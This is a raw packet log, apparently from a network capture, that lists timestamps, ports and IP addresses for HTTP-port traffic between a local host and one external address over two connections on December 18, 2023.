Dec 18, 2023 14:31:21.702541113 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702581882 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702626944 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.702718973 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702769995 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702814102 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.702876091 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702893972 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702935934 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.702960014 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702990055 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703039885 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703048944 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.703072071 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703115940 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.703171968 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703186989 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703207970 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703232050 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.703296900 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703335047 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703342915 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.703370094 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703413963 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.703418970 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703475952 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703490019 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703521013 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.703555107 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703569889 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703600883 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.703649998 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703670979 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703712940 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703715086 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.703744888 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703785896 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703797102 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.703845024 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703887939 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703886986 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.703943014 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703963041 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.703995943 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.704015970 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704046965 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704061031 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.704092026 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704117060 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704150915 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.704164028 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704175949 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704206944 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.704251051 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704263926 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704308033 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.704354048 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704405069 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704451084 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704463005 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.704494953 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704535007 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704546928 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.704590082 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704627991 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704641104 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.704689026 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704751968 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.704771996 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704787970 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704829931 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704833984 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.704864979 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704890013 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704915047 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.704962969 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.704974890 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.705003977 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.705101013 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.705157995 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.705234051 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.705292940 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.705312014 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.705337048 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.705423117 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.705435038 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.705480099 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:22.855242968 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:25.891225100 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.129870892 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.129982948 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.130563021 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.369484901 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.369561911 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.369605064 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.369663954 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.369676113 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.369798899 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.608253956 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.608371019 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.608422995 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.608429909 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.608529091 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.608575106 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.608607054 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.608694077 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.608738899 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.608757973 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.608824015 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.608850956 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.608875036 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.846940041 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.846987963 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847038984 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.847050905 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847117901 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847129107 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847157955 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.847187996 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847232103 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847274065 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.847280979 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847424030 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847467899 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.847507954 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847528934 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847578049 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.847700119 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847800016 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847827911 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.847840071 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.848032951 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.848112106 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.848124981 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.848155975 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:26.848366022 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.848376036 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:26.848414898 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.085531950 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.085589886 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.085650921 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.085659027 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.085726023 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.085783005 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.085813046 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.085906029 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.085953951 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.085972071 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086029053 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086054087 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086076021 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.086129904 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086184978 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086229086 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.086285114 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086371899 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086419106 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.086430073 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086452961 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086498976 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.086545944 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086644888 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086659908 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086690903 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.086776972 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086858034 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086904049 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.086935997 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.086987019 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087003946 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087033033 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.087061882 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087162971 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087208033 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.087220907 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087270021 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087280035 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087332010 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.087346077 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087413073 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087455034 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.087501049 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087619066 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087665081 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.087730885 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087826967 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087863922 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.087874889 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.087954044 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.088022947 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.088071108 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.088078022 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.324528933 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.324618101 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.324693918 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.324695110 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.324791908 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.324834108 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.324935913 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325017929 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325062990 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.325093985 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325206041 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325217009 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325253963 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.325334072 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325407028 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325453997 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.325506926 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325598955 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325633049 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325643063 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.325741053 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325825930 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325874090 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.325894117 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325959921 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.325994015 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.326047897 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326137066 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326179028 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326180935 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.326246023 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326256990 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326292038 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.326378107 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326435089 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326478004 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.326486111 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326555967 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326598883 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.326612949 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326653957 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326698065 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.326710939 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326756954 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326767921 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326806068 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.326850891 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326905966 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.326951027 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.326961994 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327001095 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327027082 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327039003 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.327099085 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327156067 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327198982 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.327219009 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327286959 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327332020 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.327373981 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327456951 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327498913 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.327512026 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327549934 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327559948 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327598095 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.327636957 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327743053 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327805042 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327805042 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.327878952 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.327925920 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.327960968 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328052044 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328095913 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.328136921 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328200102 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328243971 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.328246117 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328306913 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328351974 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.328366041 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328414917 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328459024 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.328464031 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328525066 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328571081 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.328600883 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328613997 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328658104 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.328689098 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328780890 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328826904 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.328847885 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328922987 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328933001 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.328970909 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.329001904 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.329067945 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.329113007 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.329128981 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.329191923 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.329202890 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.329243898 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.563092947 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563150883 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563195944 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.563225985 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563257933 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563268900 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563296080 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.563328028 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563410997 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563446999 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.563448906 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563515902 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563527107 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563554049 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.563606024 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563653946 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563692093 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.563716888 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563779116 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563805103 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563815117 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.563924074 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.563999891 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564043045 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.564045906 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564106941 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564150095 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564155102 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.564174891 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564213991 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.564255953 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564376116 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564414024 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.564440966 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564563990 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564615965 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564662933 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.564682007 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564732075 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564768076 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.564794064 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564845085 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564887047 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.564889908 CET	49737	80	192.168.2.4	45.137.22.163
